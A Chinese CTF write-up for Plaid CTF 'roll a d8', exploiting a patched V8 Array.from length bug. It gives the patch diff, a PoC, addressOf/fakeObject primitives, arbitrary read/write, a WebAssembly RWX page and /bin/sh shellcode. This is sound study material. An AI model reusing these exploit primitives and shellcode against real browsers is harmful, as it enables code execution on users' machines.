前言

继续学习浏览器漏洞的相关知识,加油!!!下周争取把angr的东西总结一下,搞搞课题吧つ﹏⊂。如果有有缘的人读到这篇文章,而且恰好你研究的方向是AEG相关,可以带带我这个菜鸡吗/(ㄒoㄒ)/~~。邮箱:sofr@foxmail.com

之前文章:

v8开坑+starCTF2019 oob

数字经济final-browser

关键字: CTF pwn browser v8 Plaid CTF roll a d8

1
2
3
4
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8

题目信息

这次这个题目就是给了poc写exp,也是一个真实的漏洞。可以看下官网,也有提。更新后版本

所以应该兴奋一点啊,搓搓手,这可是真正的realword。开森!!!

和之前的题目一样,先看diff,官网给出的diff是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
diff --git a/src/builtins/builtins-array-gen.cc b/src/builtins/builtins-array-gen.cc
index dcf3be4..3a74342 100644
--- a/src/builtins/builtins-array-gen.cc
+++ b/src/builtins/builtins-array-gen.cc
@@ -1945,10 +1945,13 @@
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
+ // TODO(delphick): We should be able to skip the fast set altogether, if the
+ // length already equals the expected length, which it always is now on the
+ // fast path.
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
- // 3) the new length is greater than or equal to the old length.
+ // 3) the new length is equal to the old length.

// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
@@ -1970,10 +1973,10 @@
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);

- // 3) If the created array already has a length greater than required,
+ // 3) If the created array's length does not match the required length,
// then use the runtime to set the property as that will insert holes
- // into the excess elements and/or shrink the backing store.
- GotoIf(SmiLessThan(length_smi, old_length), &runtime);
+ // into excess elements or shrink the backing store as appropriate.
+ GotoIf(SmiNotEqual(length_smi, old_length), &runtime);

StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
diff --git a/test/mjsunit/regress/regress-821137.js b/test/mjsunit/regress/regress-821137.js
new file mode 100644
index 0000000..639b3b9
--- /dev/null
+++ b/test/mjsunit/regress/regress-821137.js
@@ -0,0 +1,27 @@
+// Copyright 2018 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Tests that creating an iterator that shrinks the array populated by
+// Array.from does not lead to out of bounds writes.
+let oobArray = [];
+let maxSize = 1028 * 8;
+Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
+ {
+ counter : 0,
+ next() {
+ let result = this.counter++;
+ if (this.counter > maxSize) {
+ oobArray.length = 0;
+ return {done: true};
+ } else {
+ return {value: result, done: false};
+ }
+ }
+ }
+) });
+assertEquals(oobArray.length, maxSize);
+
+// iterator reset the length to 0 just before returning done, so this will crash
+// if the backing store was not resized correctly.
+oobArray[oobArray.length - 1] = 0x41414141;

后面还附带了poc,很贴心。其实这个漏洞的细节,我还是有一点不太懂,但是有了这个poc,可以说难度降低了很多。

首先还是看下漏洞是如何来的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void GenerateSetLength(TNode<Context> context, TNode<Object> array, TNode<Number> length) {
Label fast(this), runtime(this), done(this);
BranchIfFastJSArray(array, context, &fast, &runtime);

BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset, length_smi);
Goto(&done);
}

BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array), CodeStubAssembler::LengthStringConstant(), length, SmiConstant(LanguageMode::kStrict));
Goto(&done);
}

BIND(&done);
}

这里面我们可以看到如果length_smi大于等于old_length,那么久会将fast_array的length赋值为length_smi。理一下上下文的逻辑,就是在迭代的时候,将每次迭代的结果存进数组,同时将数组的长度扩大。如果此时length_smi小于old_length则不会改变数组的长度。

但是如果在迭代的最后一轮,我们将数组的大小缩小,此时length_smi会随着迭代次数增长,但是,old_length被改小,此时数组的大小会被改大,但是没有做内存扩大的操作。所以,就造成了oob。在一顿gc后,完全可以做到溢出至其他数组。

调试poc后发现果然如此,数组的大小是0x2020但是FixedArray中长度却是0

思路

其实在搞清楚这个思路后,我们的思路可以和数字经济的exp很像,都是数组越界,这里只不过是多一个gc的过程,使得目标数组重新分配。

先构造数组越界:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var oobArray = [1.1];
var c = [1.1];
var b = [c];
let maxSize = 1028 * 8;

Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
let a = [1.1];
let obj = [a];
b.push(a);
b.push(obj);
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

function gc()
{
for(let i=0;i<0x10;i++)
{
new Array(0x1000000);
}
}

gc();

此时,oobArray和B数组中的float数组和object数组就很近了。这时候构建任意对象读和任意对象构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
oobArray[7] = 0x1;//使得float数组的长度很大,浮点值中1很大的,(*^_^*)

function addressOf(object)
{
b[2][0] = object;
return f2i(b[1][10])-1;
}

function fakeObject(address)
{
b[1][10] = i2f(address);
var fakeObject = b[2][0];
return fakeObject;
}

之后也是很常规,造一个任意地址读写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
var float_map = oobArray[4];
var evil_array = [float_map,0.0,i2f(0x11),i2f(0x400000000)]
var leak_addr = addressOf(evil_array);
console.log("[+] leak obj addr: " + hex(leak_addr));

var fake_obj_addr = leak_addr+0xa0;
console.log("[+] obj addr: " + hex(fake_obj_addr));
var fake_obj = fakeObject(fake_obj_addr+1);


function read64(addr)
{
evil_array[2] = i2f(addr-0x10+1);
var leak_data = f2i(fake_obj[0]);
return leak_data;
}

function write64(addr,data)
{
evil_array[2] = i2f(addr-0x10+1);
fake_obj[0] = i2f(data);
return;
}

var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);
function dataview_write(addr,data)
{
write64(addressOf(data_buf)+0x20,addr);
data_view.setFloat64(0,i2f(data),true);
}

function dataview_write(addr, payload)
{
write64(addressOf(data_buf)+0x20,addr);
for(let i=0; i<payload.length; i++) {
data_view.setUint8(i, payload[i]);
}
return ;
}

最后在触发getshell的时候,我们不用free_hook了,改用wasm,学习一下。

wasm简单来说就是构建了一个可读可写可执行的内存区域,然后放shellcode,也就很自然了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function wasm_func() {
var wasmImports = {
env: {
puts: function puts (index) {
print(utf8ToString(h, index));
}
}
};
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}

func = wasm_func();

var wasm_obj_addr = addressOf(func);
var shared_info_addr = read64(wasm_obj_addr+0x18)-1;
var code_addr = read64(shared_info_addr+8)-1;
var rwx_addr = (read64(code_addr+0x72));

console.log("wasm obj addr: 0x"+hex(wasm_obj_addr));
console.log("wasm shared info addr: 0x"+hex(shared_info_addr));
console.log("wasm code addr: 0x"+hex(code_addr));
console.log("rwx addr: 0x"+hex(rwx_addr));

最后向这个内存写入shellcode:

1
2
3
4
5
6
var shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

dataview_write(rwx_addr, shellcode);
func();
//%SystemBreak();
console.log("debug");

最后getshell,比之前的getshell的界面整洁多了:

image-20200614213832008

写在最后

如有错误欢迎指正:sofr@foxmail.com

之前文章:

v8开坑+starCTF2019 oob

数字经济final-browser

Comments

⬆︎TOP